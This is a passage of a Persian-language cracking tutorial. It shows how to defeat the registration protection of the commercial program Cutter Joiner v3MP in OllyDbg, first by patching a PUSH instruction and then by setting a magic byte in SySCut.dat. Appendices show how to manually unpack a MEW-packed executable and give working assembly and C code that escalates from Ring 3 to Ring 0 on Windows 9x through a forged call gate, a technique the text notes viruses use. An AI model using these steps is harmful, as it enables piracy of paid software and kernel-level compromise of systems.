 را تغيير ميدهد دنبال 4CFE56 براي اينكه ميخواهيم روالي كه مقدار آدرس  ريستارت كرنيدctrl+F2برنامه را با كليد 
  .كنيم

  
   را فشار دهيدctrl+P را انتخاب كنيد و يا كليد patch گزينه view از منوي ollydbgدر 

   
  

  .پنجره اي مانند پنجره بالا خواهيد ديد
 هايي كه انجام داه ايد بصورت غيرفعال patchكنيد تمامي  ريستارت ميctrl+F2در واقع هنگامي كه شما برنامه را بوسيله 

 تمامي آنها را حفظ ميكند و شما بوسيله اين پنجره ollydbgهاي خود را فعال كنيد patchدرمي آيند براي اينكه بتوانيد 
 را apply patchه ميتوانيد هركدام را بخواهيد فعال كنيد كافيست برروي يكي از آنها دكمه سمت راست موس را زده و گزين

  . را فشار دهيدspace يكبار كليك كرده و كليد patchانتخاب كنيد و يا برروي آن 
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  . را انتخاب كنيد و نقطه انفصالي را كه قبلاً گذاشته بوديم را حذف كنيدhardware breakpoint گزينه debugاز منوي 
  .خواهيد ايستاد 4C5B9Aآدرس  اجرا كنيد بعد از چند لحظه شما بر روي F9برنامه را با 
   متوقف ميشويد41B4F4 دنبال كنيد مانند شكل زير در آدرس F7برنامه را با 

  
  

 شما مانند شكل نيست كافيست ollydbgاگر پنجره كد ( برسيد 41B509 را بزنيد تا به آدرس F7حال دوباره كليد 
ctrl+a را فشار دهيد تا ollydbgاين يك اشكال در .د و معادل آنها را دقيقتر به شما نشان دهد كدهاي اسمبلي را ارزيابي كن

ollydbgميباشد چراكه گاهي نميتواند كدهاي اسمبلي را بصورت كامل ارزيابي كند و گاهي كدهاي اشتباه نشان ميدهد .(  
   قرار گيريد408F88 را فشار دهيد تا مانند شكل زير در آدرس F7دوباره آنقدر  كليد 

  

  
  
  

 را فشار دهيد ok را در درون پنجره بزنيد و دكمه  4CFE56و آدرس  را فشار دهيد ctrl+g دوباره كليد dumpدر پنجره 
 برسيد 408F94 ادامه بدهيد تا به آدرس F7 ميباشد حال با دقت به زدن كليد 01حال به مقدار اين آدرس توجه كنيد هنوز 

  . ReadFile هستيم به نام APIهمانطور كه از شكل متوجه شده ايد ما داخل يك تابع 
  

  :ReadFileتابع 
  :اين تابع مقدار مشخصي بايت را از يك فايل خوانده و در جاي ديگري كپي ميكند به شكل زير توجه كنيد
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   ميريزدlpBuffer خوانده در داخل lpAddressOfBytesRead را از nNumberOfBytesToReadاين تابع 
  ؟تي را بايد از كجا خوانده چه بايReadFileويندوز چگونه ميداند كه تابع 

 و nNumberOfBytesToRead, lpAddressOfBytesRead, lpBuffer, hFileهمانطور كه ميدانيد 
lpOverlapped تماماً پارامترهاي تابع ReadFile ميباشند كه هنگامي كه تابع ReadFile صدا ميشود اين پارامترها 

  . و به همراه تابع صدا شوندشوندهم بايد به دنبال آن مقدار دهي 
  

  :APIدر رابطه نحوه ارجاع پارامترها به توابع 
  

  :در كل دو روش براي ارجاع پارامترها به يك تابع وجود دارد
  

  C Calling ارجاع توابع بصورت -  
  Pascal Calling ارجاع توابع بصورت -  

  
  :تابع زير را در نظر بگيريد

ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped) 
  

 بسته به نحوه   (PUSH)براي اينكه بتوان پارامترهاي اين تابع را به آن اجرجاع داد ابتدا بايد بايد آنها را در پشته قرار دهيم 
  .انده شوداستفاده ما از نوع ارجاع مشخص ميشود كه كدامين پارامتر در ابتدا بايد از حافظه خو

  . بازخواني ميشودlpOverlapperd باشد اول پارامتر C Call Conventionاگر نحوه ارجاع ما بصورت 
  :به صورت زير

PUSH lpOverlapped 
PUSH lpNumberOfBytesRead  
PUSH nNumberOfBytesToRead 
PUSH lpBuffer  
PUSH hFile 
CALL Kernel32.ReadFile 

)C Call Conventionرها را از راست به چپ ميخواند پارامت(  
  . خواهنده ميشودhFile باشد اول پارامتر Pascall Call Conventionاگر نحوه ارجاع پارامترها بصورت 
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PUSH hFile 
PUSH lpBuffer  
PUSH nNumberOfBytesToRead 
PUSH lpNumberOfBytesRead  
PUSH lpOverlapped 
CALL Kernel32.ReadFile 

)Pascall Call Conventionپارامترها را از چپ به راست ميخواند (  

  
  

 C Callبا توضيحاتي كه در بالا داده شد حالا ما ميفهميم كه نحوه صدا كردن پارامترها در اين برنامه بصورت 

Conventionميباشد .  
  

 
  

 كه Info را ميتوانيد در پنجره  آدرسي كه بايد بايتها از آن خوانده شود در پشته قرار ميگيرد ، اين آدرس408F98در آدرس 
  . ميباشد12FA54:در زير پنجره كد قرار دارد پيدا كيند در كامپيوتر من اين آدرس 

  . بايت1 مقدار بايتي كه بايد خوانده شود در پشته قرار ميگيرد كه اين مقدار برابر است با 408F99در آدرس 
 كه همان بايت 4CFE56اين مقدار در آدرس ( قرار ميگيردESI مقدار بايتي كه بايد نوشته شود در 408F9Aدر آدرس 

  ).جادويي ميباشد قرار دارد
 فايل قرار دارد اين مقدار برابر يك شماره يكتا ميباشد كه به جاي اسم فايلي مورد نظر Handler مقدار 408F9Bدر آدرس 

اند در هر كامپيوتر متغير باشد در كامپيوتر من اين مقدار در طول برنامه از آن استفاده ميشود توجه داشته باشيد كه اين مقدار ميتو
  .1D0برابر است با 

 صدا زده ميشود حال به ReadFile برسيد يعني جايي كه تابع 408F9C را آنقدر فشار دهيد تا به آدرس F8حال دكمه 
  : نگاه كنيدstackپنجره 

  
  

  . مينويسد4CFE56 ميباشد خوانده و آنرا در آدرس 1D0 آن handlerميبينيد كه اين تابع فقط يك بايت را از فايلي كه 
 خواهد crash استفاده شود برنامه 4CFE56اگر يادتان باشد در اول فصل گفتم كه اگر از نقاط انفصال نرم افزاري در آدرس 

يك نقطه انفصال نرم  ميخواهد در اين آدرس چيزي بنويسد و ماداميكه ما از ReadFileنمود و اين به دليل ميباشد كه تابع 
  .افزاري استفاده كنيم اينكار صورت نميگيرد

  
   نوشته شود4CFE56 از فايل مورد نظر خوانده شود و در آدرس حافظه 00حال ما نميخواهيم كه مقدار 

  . پيگيري كنيد408F94 ريستارت كنيد و روال را دوباره تا آدرس ctrl+f2برنامه را با 
 ReadFile ذخيره ميشود را به تابع ESI كه در ثبات bufferا انجام دهم اينست كه مقدار كاري كه من ميخواهم در اينج

  . حافظه پاك كند4CFE56 را از آدرس 01ندهم تا اين تابع نتواند مقداري 
 عوض PUSH EAX و مقدار آنرا با مقدار  را بزنيد spaceحال دكمه ) PUSH ESI( ايستاده408F9Aبرروي آدرس 

   تغيير نكند4CFE56ما باعث ميشود كه مقدار آدرس حافظه كنيد اينكار 
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  . ميباشد01 داراي مقدار 4CFE56 آنرا مشاهده كنيد كه هنوز آدرس dump ميتوانيد در پنجره 

  
  .حال برنامه را اجرا ميكنيم

  
  
  

  . خود را ذخيره كنيدpatchحال ميتوانيد همانطور از فصلهاي قبل به خاطر داريد 
  
  
  

Patch1.8دن برنامه  كر Cutter Joiner v3MP از طريق پيدا كردن فايل Magic Byte:  
  

 را شكسته و برنامه را ثبت شده جلوه دهيم حال بياييد magic byteدر قسمت اول ديديد كه چگون توانستيم حالت حفاظتي 
  .ن قفل را از بين ببيريم بكارگيريمنگاهي دقيقتر به كاري كه انجام داده ايم داشته باشيم و روش ديگري را براي اينكه اي

  
 . براي كنترل كردن اينكه آيا برنامه ثبت شده است و يا نه استفاده ميكندBooleanبرنامه هدف از يك مقدار  •

  ذخيره ميشود4CFE56 در آدرس Booleanمقدار  •

  مينويسد4CFE56 را در آدرس 00برنامه در هنگام اجرا فرض ميكند كه برنامه ثبت نشده است و مقدار  •

 . قرار ميدهد4CFE56 بايت را از فايلي خوانده و آنرا در آدرس 1سپس برنامه  •

  
  .برنامه هدف داراي ضعفهاي بسيار زيادي ميباشد و ما توانستيم برنامه را به گونه اي تغيير دهيم كه ثبت شده به نظر برسد

 در آن ذخيره ميشود را پيدا كنم و magic byteار  كنم فايلي را كه مقدpatchحال ميخواهم بجاي آنكه برنامه هدف را 
  .آنجا را تغيير دهم

  اولين چيزي كه نياز داريم اينست كه اسم فايل چيست ؟ و اينكه كجا ذخيره شده است؟
  

 استفاده Handler   براي اينكه بتواند مقداري را بخواند از يكReadFileاگر به خاطر داشته باشيد گقتيم كه تابع 
   از كجا آمده؟Handlerن اي.مكيند

  . بتواند يك محتويات يك فايل را بخواند احتياج به اين دارد كه فايل را باز كندReadFileبراي اينكه 
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ويندوز . ميريزدFile2 را باز كرده و محتويات آنرا ميخواند و در داخل File1فرض كنيد كه شما يك برنامه اي نوشته ايد كه 
File1دد يكتا به آن اختصاص ميدهد كه به آن  را باز ميكند و يك عHandler گفته ميشود و نيز همين كار با File2 انجام 
 نيز همانطور در چند صفحه قبل اشاره شد در درون برنامه بجاي اسم فايل بين روالهاي برنامه در حال handlerاين .ميشود

 شناسايي شده و انجام  Handlerام دهيد بوسيله اين حركت ميباشد و اعمالي خاصي كه شما در نظر داريد بر روي فايل انج
  .ميشود

 را در فايل هدف ما مشخص Handler پي برديم ميخواهيم ببينيم كه چه موقع ويندوز اين Handlerحال كه به اهميت 
لاعات بيشتر براي اط)  بكار نميرودFileاين تابع فقط براي ساخت يك ( انجام ميشودCreateFileاينكار بوسيله تابع .ميكند

  : ميتوانيد به آدرسCreateFileدر مورد تابع 
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/fileio/fs/createfile.asp  

  
  .عه كنيدمراج

  

 كه Handler را ايجاد كرده و يا درصورت وجود باز ميكند و يك عدد يكتا بنام File يك CreateFileتابع  •
  برميگرداندبعنوان برگشتي تابع  باز شده ميباشد را Fileشناسه 

  
  

 باز ollydbgف را در  حال دوباره برنامه هدها فهميده ايم به برنامه هدف برمگيرديمFileحال كه چيزهاي زيادي در مورد 
 را  all intermodualar call و بعد گزينه search forميكنيم در پنجره كد دكمه سمت راست موس را زده و گزينه 

 را تايپ كنيد و بعد مانند شكل زير بر روي يكي از توابع CreateFileAانتخاب ميكنيم در پنجره ظاهر شده كلمه 
CreateFileAمت راست موس را زده و بعد گزينه  كه ديده ميشود دكمه سSet BreakPoint on every call to 

CreateFileAرا انتخاب كنيد .  

  
  

   اجرا كنيدF9حال برنامه را با 
   توقف ميكند 408F51بعد از چند لحظه برنامه بر روي آدرس 

  

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/fileio/fs/createfile.asp
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 ما بوسيله تابع magic byte كه مقدار  متوقف شده است را نگاه كنيد خواهيد ديدOllydbgاگر كمي پايين تر از جايي كه 
ReadFile 408 بازنويسي ميشود يعني در آدرسF9C .  اين نشان ميدهد كه ما در جاي درست قرار داريم يعني اولين جايي

  : باز ميشود به پنجره پشته دقت كنيدmagic byteكه فايل 

  
  

خب حال ببينيم كه . ذخيره ميشودwindir$/system32$ ميباشد كه در آدرس SySCut.dat مورد نظر ما Fileاسم 
handlerفايل كجا ذخيره شده است؟   

  . ذخيره ميشوندEAX در ثبات  APIدر اكثر اوقات مقادير برگشتي توسط توابع 
  : توجه كنيدregisters را فشار دهيد و به پنجره F8يكبار كليد 

  
  

  . ميباشد1D0 در كامپيوتر من handlerمقدار 
 در آن ذخيره ميشود به آدرس Magic Byteد در صد مطمئن شويم كه اين فايل همان جايي هست كه مقدار خب ما بايد ص

408F9C برويد يعني جايي كه هنگامي كه فايل بوسيله تابع CreatFile باز ميشود محتويات آن خوانده ميشودو كليد F2 
  .را بزنيد

  
  

  : توقف كرده ايد به پنجره پشته نگاه كنيد408F9Cبار شما دقيقاً در آدرس  را بزنيد تا برنامه اجرا شود اينF9دوباره كليد 
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  . مورد نظر ميباشدfile همان SyScut.dat ميباشد پس 1D0 مورد نظر همان handlerميبينيد كه 
 شود ولي  خواندهSySCut.dat بايت بايد از 4 است اين يعني اينكه 4 بياندازيد برابر با BytesToReadنگاهي به مقدار 

Magic Byte خب پس الان موقع نوشتن برروي !  بايت ميباشد1 مورد نظر ما فقطFile مورد نظر نيست يكبار ديگر كليد 
F9 408 را بزنيد تا برنامه به روند كار خود ادامه دهد ، شما دوباره در آدرسF9C توقف خواهيد نمود حال دوباره به پنجره 

stackنگاه كنيد :  
  

  
  : ميباشد در واقع بدين صورت ميباشد1 برابر  BytesToReadمقدار اين دفعه 

  
 همان 01 كنترل ميشود اگر برابر شد با مقدار 01 باز شده و مقدار آن خوانده شده و با مقدار syscut.datدر بار اول برنامه 

  .ته ميشود دوباره در اين فايل نوش00 نوشته ميشود و در غيراينصورت syscut.datمقدار دوباره در 
  

 تغيير دهيد و دكمه 01 را باز كنيد و مقدار بايت آخر را مانند شكل زير به syscut.dat پرونده hex Editorحال بوسيله 
  .ذخيره را بزنيد

  
  

  
  ميبينيد كه برنامه ثبت شده بنظر ميرسد. حال برنامه را اجرا كنيد

  پايان
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  :ها ضميمه
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   :1ضميمه 
 MEW 11 SE v1.2آموزش آنپك دستي 

  مبتدي: سطح 
 unreal.exe: فايل هدف 

 ollydbg 1.10,ollydump plugin,ImpREC 1.6f,PEiD:ابزارها 

  
  : چك ميكنيمPEiDبرنامه را اول با 

  
  

  . برنامه را باز كندollydbgهر دو موافقت كرده تا با دو پيغام روبرو ميشويم با .  باز ميكنيمollydbgبرنامه مورد نظر را در 
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  . شروع به اجرا شدن ميكند 400154برنامه از آدرس .  اجرا ميكنيمF8برنامه را با 

  
  

  . و ديگر آدرسها در حال اجراي حلقه هست400167 برنامه در آدرس F8ميبينيم كه بعد از چندين بار اجراي برنامه با كليد 
در اينجا برنامه با ويژال بيسيك نوشته شده ( ميتوانيد حدس بزنيد كه تمامي توابع توكار برنامهRegisterه با توجه به پنجر

  .در حال باز شدن ميباشد) است
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   برسيد يعني آخر تابع پكر4001FDبراي اينكه اينكار بسيار وقت گير ميباشد نوار پيمايش را كمي پايين تر بياوريد تا به آدرس
حال  را بزنيد F2 وجود دارد بر روي اين خط كليك كرده و بعد دكمه JNZ دستور 4001FBتر يعني در آدرس يك خط بالا

  . بزنيدF2 آنجا هم 4001FDيك خط پايين تر آمده يعني در آدرس 

  
  

 كليد  متوقف خواهد شد حال آنقدر4001FB بر روي آدرس ollydbg دنبال كنيد بعد از چند لحظه F9خب حال برنامه را با 
F9 را فشار دهيد تا ollydbg 4001 بر روي آدرسFDبه پنجره .  متوقف شودregister توجه كنيد تمامي توابع داخلي 

  .برنامه را خواهيد ديد
 را فشار دهيد F8هنگامي كه يكبار كليد .  اجرا كنيدF8 ايستاد برنامه را با 4001FD برروي آدرس ollydbgبعد از اينكه 

  . خواهيد ايستاد401340در آدرس 

  
  

  
  . را اجرا كنيد و مانند شكل زير تنظيمات را انجام دهيدollydump برنامه pluginحال 
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 شده را با نام dump را زده و برنامه dump ميباشد آنرا يادداشت كرده و دكمه 1340 در آدرس OEPتوجه كنيد آدرس 
mup_dump.exe ذخيره كنيد  .  

 را اجرا كنيد و از ليست ImpREC شده ميباشد اجرا كنيد و برنامه pack برنامه اصلي را كه  را ببنديد وollydbgحال 
  .را انتخاب كنيد unreal.exeپايين افتادني فايل 
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 Get Imports كه قبلاً يادداشت نموده ايد وارد كنيد و بعد از آن بر روي دكمه OEP آدرس IAT مربوط به textboxدر 
  .كل بالاكليك كنيد مانند ش
  . را انتخاب كنيدmup_dump.exe كليك كنيد و برنامه Fix Dumpحال بر روي دكمه 

  .برنامه بصورت كامل آنپك شد
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  :2ضميمه 
Ring 0  

  
  Ring 0,Ring 1,Ring 2,Ring3:دارد به نامهاي ) privilege( حالت دسترسي4پردازنده 

 داراي محدوديتهاي بسياري ميباشد براي مثال در اين حالت ما نميتوانيم Ring 3. اجرا ميشوندRing 3برنامه هاي عادي در 
  ).mov eax,dr7مثال (ها كار نخواهند كردثباتهاي ديباگ را خوانده و بالطبع دستورالعملهاي داخل اين ثبات

اما يك مشكلي وجود ). هستيمRing 0منظور اينكه نيازمند (براي يك كركر بسيار بهتر است كه حق دسترسي بيشتري داشته
 اجرا Ring 0 ها در device driver دسترسي دارند براي مثال Ring 0دارد و آن اينكه فقط برنامه هاي مخصوصي به 

  . ساده و سريع نميباشدdevice driverا برنامه نويسي ميشوند ام
 Ring 3 راهها بسياري براي سوئئچ كردن از 9xخوشبختانه ويندوز داراي حفره هاي امنيتي بسياري ميباشد مخصوصاً ويندوز 

  .ميگيرداين راهها بوسيله ويروسهاي براي نفوذ به سيستم مورد استفاده قرار . وجود دارد9x در ويندوز Ring 0به 
  . را دارا ميباشد9xمتدهاي توضيح داده شده در اين مقاله فقط قابليت استفاده در ويندوزهاي 

براي اينكه در .  شناسايي شده و مشكلات آنها برطرف گرديده استNT basedبسياري از اين حفره در ويندوزهاي 
 NT بسازيد در ضمن در ويندوزهاي Device Driver بشويد بايد يك Ring 0 بتوانيد وارد NT basedويندوزهاي 

based كاربر براي اينكه بتواند كد شما را اجرا كند بايد حتماً حق دسترسي admin را دارا باشد در غير اينصورت كدهاي شما 
  .اجرا نخواهد شد

  
  ):جدول توصيفگر محلي(LDT بوسيله Ring 0 به  Ring 3سوئيچ كردن از 

  
 ميباشد بدين دليل كه افراد IDTاين بهترين راه نميباشد ولي بهتر از روش .ز آن استفاده ميشدقديميترين روشي كه به ندرت ا

  :كمي از آن باخبرند

  
.386p 
.MODEL FLAT,STDCALL 
locals 
jumps 
UNICODE=0 
include w32.inc 
 
Extrn SetUnhandledExceptionFilter : PROC 
 
.data 
 
msg1            db "Switch to Ring0 by LDT",0 
msg2            db "Ring0 activated",0 
 
gdt_            df 0 
call_           dd 00 
                dw 0Fh 
o_gate          dw 0 
                dw 028h            ;segment for RIN G0 
                dw 0EC00h 
                dw 0 
.code 
 
Start: 
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                mov  eax, offset ring0 
                                   ;our Ring0 routi ne 
 
                mov  [o_gate],ax   ;set address of our new Ring0 
service to our "callgate" 
                shr  eax,16 
                mov  [o_gate+6],ax 
 
                xor  eax, eax 
                sgdt fword ptr gdt_ 
                                   ;save GDT 
                mov  ebx,dword ptr [gdt_+2] 
                                   ;GDT base addres s 
                sldt ax 
                add  ebx,eax       ;discriptor addr ess 
 
                mov  al,[ebx+4] 
                mov  ah,[ebx+7] 
                shl  eax,16        ;LDT address 
 
                mov  ax,[ebx+2]    ;callgate's disc riptor address 
 
                add  eax,8 
                mov  edi,eax       ;set in callgate  for changes 
                mov  esi,offset o_gate 
                                   ;our "callgate" address 
                movsd              ;move it to real  callgate 
                movsd              ;for jump to Rin g0 
 
                call fword ptr [call_] 
                                   ;jump to Ring0 t o our Ring0 
service 
 
                xor  eax, eax 
                sub  edi,8         ;delete our chan ges in callgate 
                stosd 
                stosd 
 
 
                call MessageBoxA,0, offset msg2, of fset msg1,0 
 
                call ExitProcess, -1 
 
 
;-------------------------------------------------- -------- 
;Our new Ring0 service 
;-------------------------------------------------- -------- 
 
ring0: 
                mov eax, dr7       ;test for Ring0 
 
                retf               ;back to RING3 
 
ends 
end Start 

  
  :C نوشته شده و همانند كد بالا ميباشد ولي بزبان SoPinKyمن يك روش ديگر در اينترنت پيدا كردم كه بوسيله 
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Main.CPP 
------------------------------------CUT------------ ------------------
-------- 
#include <WINDOWS.h> 
#include "DirectHackers.h" 
 
 
//it is a example of a proc in Ring 0 
Ring0Proc() 
{ 
InitRing0(); 
__asm 
     { 
          int 20h                       //get curre nt vm 
         _emit 0x01                     //Function ID 
             _emit 0x00 
         _emit VMM_ID                   //VXD ID 
             _emit 0x00 
                                        //in ebx i have the handle 
                                        //of virtua l machine 
     } 
 
RetCallback; 
}; 
 
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hP revInstance, 
                                   PSTR lpCmdLine,i nt nCmdShow) 
    { 
        MSG msg ; 
        DWORD a; 
        int x; 
        __asm pusha 
        InitDirectH(); 
        CallRing0((unsigned int)Ring0Proc); 
                __asm popa 
        return 0; 
    } 
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;A .h 
Files;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
DirectHackers.h 
------------------------------------CUT------------ ------------------
-------- 
#ifndef __DirectHackers_h 
#define __DirectHackers_h 
 
#include "VMMStruct.h" 
                                        //Data 
DWORD VM=0,TR=0; 
Control_Block *VMCBSystem=0,*VMCB=0; 
DWORD esp3; 
WORD cs3,ds3,es3,sp3,fs3,gs3;           //State of ring 3 register 
WORD cs0,ds0,es0,fs0,gs0;               //State of ring 0 register 
 
Comp *Callb,Callbcpy;                   //a callbac ks 
 
                                        //to return  of ring 0 
#define RetCallback  \ 
    _asm sti      \ 
    _asm pop edi  \ 
    _asm pop esi  \ 



 ١١٩

    _asm pop ebx  \ 
    _asm leave    \ 
    _asm retf; 
 
InitDirectH() 
{ 
FPWORD gdt;                             //Base of G DT 
Descriptor *gdtdesc; 
word a; 
        __asm  sgdt  gdt;               //get the a ddres of GDT 
        gdtdesc=(Descriptor *)gdt.base; 
 
        __asm   //Save the ring 3 Segments selector s 
        { 
                mov cs3,cs 
                mov ds3,ds 
                mov es3,es 
                mov sp3,sp 
                mov fs3,fs 
                mov gs3,gs 
                mov esp3,esp 
        } 
 
                                        //Serch for  the adecuate CS 
for(a=0;a<(gdt.limite>>3);a++) 
{ 
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a)); 
if(gdtdesc->limit_l==0xffff && 
   gdtdesc->base_l==0x0000  && 
   gdtdesc->base_m==0x00    && 
   gdtdesc->access==0x9b    && 
   gdtdesc->limit_h== 0xcf  && 
   gdtdesc->base_h==0x00)break; 
 
 
} 
cs0=a<<3; 
 
                                        //Serch for  the adecuate DS, 
ES, Etc 
for(a=0;a<(gdt.limite>>3);a++) 
{ 
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a)); 
        if(gdtdesc->limit_l==0xffff && 
        gdtdesc->base_l==0x0000  && 
        gdtdesc->base_m==0x00    && 
        gdtdesc->access==0x93    && 
        gdtdesc->limit_h== 0xcf  && 
        gdtdesc->base_h==0x00)break; 
        } 
ds0=a<<3; 
es0=a<<3; 
fs0=a<<3; 
gs0=a<<3; 
} 
 
                                        //Call a pr oc and switch to 
ring 0 
CallRing0(DWORD PUNTERO) 
{ 
FPWORD gdt; 
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Descriptor *gdtdesc; 
Comp *Callb,Callbcpy; 
FARJMP salto; 
WORD h,l; 
salto.offset32=0; 
salto.seg=0x08; 
 
        __asm  sgdt  gdt; 
         gdtdesc=(Descriptor *)(gdt.base+8); 
         Callb=(Comp *)(gdt.base+8); 
 
         Callbcpy.sel=Callb->sel;       //make a co py 
         Callbcpy.attrib=Callb->attrib; 
         Callbcpy.offs_l=Callb->offs_l; 
         Callbcpy.offs_h=Callb->offs_h; 
 
         Callb->sel=cs0; 
         Callb->attrib=0xec00;; 
 
 __asm 
         { 
         mov eax,PUNTERO 
         mov l,ax 
         shr eax,16 
         mov h,ax 
     } 
         Callb->offs_l=l; 
         Callb->offs_h=h; 
 __asm { 
           push ds 
                   push es 
                   push gs 
                   push fs 
       }                                //save the ring 3 segment 
selectors 
 
 
     __asm                              //Call the CALL GATE!!!! 
         { 
     cli 
         call FWORD PTR salto 
         } 
                                        //restore d e segment 
selectors in ring 3 
         __asm 
         { 
          cli 
          pop fs 
          pop gs 
          pop es 
          pop ds 
     sti 
         } 
return; 
} 
 
 
InitRing0() 
{ 
        FPWORD gdt; 
        Comp *Callb; 
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        __asm  sgdt  gdt; 
        __asm  cli 
         Callb=(Comp *)(gdt.base+8); 
         Callb->sel=Callbcpy.sel; 
         Callb->attrib=Callbcpy.attrib; 
         Callb->offs_l=Callbcpy.offs_l; 
         Callb->offs_h=Callbcpy.offs_h; 
         __asm 
         { 
         mov ds,ds0 
         mov es,es0 
         mov fs,fs0 
         mov gs,gs0 
         sti 
 
                                        //int 3h 
         int 20h 
         _emit 0x08                     //get the t head handle 
         _emit 0x01 
         _emit VMM_ID 
         _emit 0x00 
          mov TR,edi 
         int 20h 
         _emit 0x01                     //get curre nt vm 
         _emit 0x00 
         _emit VMM_ID 
         _emit 0x00 
          mov  VM,ebx                   //current V M handle, osea de 
sistema 
         sti 
         } 
} 
#endif 
 
------------------------------------CUT------------ ------------------
-------- 
VMMStruct.h 
------------------------------------CUT------------ ------------------
-------- 
#ifndef __vmmstruct_h 
#define __vmmstruct_h 
 
                                        //definitio ns 
#define Get_Cur_VM_Handle 0x01 
#define Get_VMM_Version   0x00 
#define VMM_ID 0x01 
#define VDD_ID 0x0a 
#define VFD_ID 0x0011f; 
#define VWIN32_ID  0x0002A 
#define SHELL_ID   0x00017 
#define word  unsigned short 
#define dword unsigned int 
#define DWORD  unsigned int 
#define WORD  unsigned short 
#define byte  unsigned char 
#define BYTE  unsigned char 
 
                                        //Structs 
#pragma pack(1) 
typedef struct 
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{ 
    word  limite; 
        dword base; 
}FPWORD; 
 
typedef struct 
{ 
        dword offset32; 
        word  seg; 
}FARJMP; 
 
                                        //struct of  descriptors 
typedef struct 
{ 
WORD limit_l; 
WORD base_l; 
BYTE base_m; 
BYTE access; 
BYTE limit_h; 
BYTE base_h; 
}Descriptor; 
 
typedef struct 
{ 
WORD desp_l; 
WORD sel; 
BYTE tipo_l; 
BYTE tipo_h; 
BYTE desp_h; 
}Idt_Descriptor; 
 
                                        //compuerta s del 386 
typedef struct 
{ 
WORD offs_l; 
WORD sel; 
WORD attrib; 
WORD offs_h; 
}Comp; 
 
                                        //Descripti on Block 
typedef struct  { 
    ULONG DDB_Next;                     /* VMM RESE RVED FIELD */ 
    USHORT DDB_SDK_Version;             /* INIT <DD K_VERSION> 
RESERVED FIELD */ 
    USHORT DDB_Req_Device_Number;       /* INIT <UN DEFINED_DEVICE_ID> 
*/ 
    UCHAR DDB_Dev_Major_Version;        /* INIT <0>  Major device 
number */ 
    UCHAR DDB_Dev_Minor_Version;        /* INIT <0>  Minor device 
number */ 
    USHORT DDB_Flags;                   /* INIT <0>  for init calls 
complete */ 
    UCHAR DDB_Name[8];                  /* AINIT <"         "> Device 
name */ 
    ULONG DDB_Init_Order;               /* INIT 
<UNDEFINED_INIT_ORDER> */ 
    ULONG DDB_Control_Proc;             /* Offset o f control 
procedure */ 
    ULONG DDB_V86_API_Proc;             /* INIT <0>  Offset of API 
procedure */ 
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    ULONG DDB_PM_API_Proc;              /* INIT <0>  Offset of API 
procedure */ 
    ULONG DDB_V86_API_CSIP;             /* INIT <0>  CS:IP of API 
entry point */ 
    ULONG DDB_PM_API_CSIP;              /* INIT <0>  CS:IP of API 
entry point */ 
    ULONG DDB_Reference_Data;           /* Referenc e data from real 
mode */ 
    ULONG DDB_Service_Table_Ptr;        /* INIT <0>  Pointer to 
service table */ 
    ULONG DDB_Service_Table_Size;       /* INIT <0>  Number of 
services */ 
    ULONG DDB_Win32_Service_Table;      /* INIT <0>  Pointer to Win32 
services */ 
    ULONG DDB_Prev;                     /* INIT <'P rev'> Ptr to prev 
4.0 DDB */ 
    ULONG DDB_Size;                     /* INIT 
<SIZE(VxD_Desc_Block)> Reserved */ 
    ULONG DDB_Reserved1;                /* INIT <'R sv1'> Reserved */ 
    ULONG DDB_Reserved2;                /* INIT <'R sv2'> Reserved */ 
    ULONG DDB_Reserved3;                /* INIT <'R sv3'> Reserved */ 
}Desc_Block; 
 
 
                                        //Control b lock 
typedef struct   { 
    ULONG Client_EDI;                   /* Client's  EDI */ 
    ULONG Client_ESI;                   /* Client's  ESI */ 
    ULONG Client_EBP;                   /* Client's  EBP */ 
    ULONG Client_res0;                  /* ESP at p ushall */ 
    ULONG Client_EBX;                   /* Client's  EBX */ 
    ULONG Client_EDX;                   /* Client's  EDX */ 
    ULONG Client_ECX;                   /* Client's  ECX */ 
    ULONG Client_EAX;                   /* Client's  EAX */ 
    ULONG Client_Error;                 /* Dword er ror code */ 
    ULONG Client_EIP;                   /* EIP */ 
    USHORT Client_CS;                   /* CS */ 
    USHORT Client_res1;                 /*   (paddi ng) */ 
    ULONG Client_EFlags;                /* EFLAGS * / 
    ULONG Client_ESP;                   /* ESP */ 
    USHORT Client_SS;                   /* SS */ 
    USHORT Client_res2;                 /*   (paddi ng) */ 
    USHORT Client_ES;                   /* ES */ 
    USHORT Client_res3;                 /*   (paddi ng) */ 
    USHORT Client_DS;                   /* DS */ 
    USHORT Client_res4;                 /*   (paddi ng) */ 
    USHORT Client_FS;                   /* FS */ 
    USHORT Client_res5;                 /*   (paddi ng) */ 
    USHORT Client_GS;                   /* GS */ 
    USHORT Client_res6;                 /*   (paddi ng) */ 
    ULONG Client_Alt_EIP; 
    USHORT Client_Alt_CS; 
    USHORT Client_res7; 
    ULONG Client_Alt_EFlags; 
    ULONG Client_Alt_ESP; 
    USHORT Client_Alt_SS; 
    USHORT Client_res8; 
    USHORT Client_Alt_ES; 
    USHORT Client_res9; 
    USHORT Client_Alt_DS; 
    USHORT Client_res10; 
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    USHORT Client_Alt_FS; 
    USHORT Client_res11; 
    USHORT Client_Alt_GS; 
    USHORT Client_res12; 
}Client_Reg_Struc; 
 
typedef struct Thread_Control_Block { 
    ULONG   TCB_Flags;                  /* Thread s tatus flags */ 
    ULONG   TCB_Reserved1;              /* Used int ernally by VMM */ 
    ULONG   TCB_Reserved2;              /* Used int ernally by VMM */ 
    ULONG   TCB_Signature; 
    ULONG   TCB_ClientPtr;              /* Client r egisters of thread 
*/ 
    ULONG   TCB_VMHandle;               /* VM that thread is part of 
*/ 
    USHORT  TCB_ThreadId;               /* Unique T hread ID */ 
    USHORT  TCB_PMLockOrigSS;           /* Original  SS:ESP before 
lock stack */ 
    ULONG   TCB_PMLockOrigESP; 
    ULONG   TCB_PMLockOrigEIP;          /* Original  CS:EIP before 
lock stack */ 
    ULONG   TCB_PMLockStackCount; 
    USHORT  TCB_PMLockOrigCS; 
    USHORT  TCB_PMPSPSelector; 
    ULONG   TCB_ThreadType;             /* dword pa ssed to 
VMMCreateThread */ 
    USHORT  TCB_pad1;                   /* reusable ; for dword align 
*/ 
    UCHAR   TCB_pad2;                   /* reusable ; for dword align 
*/ 
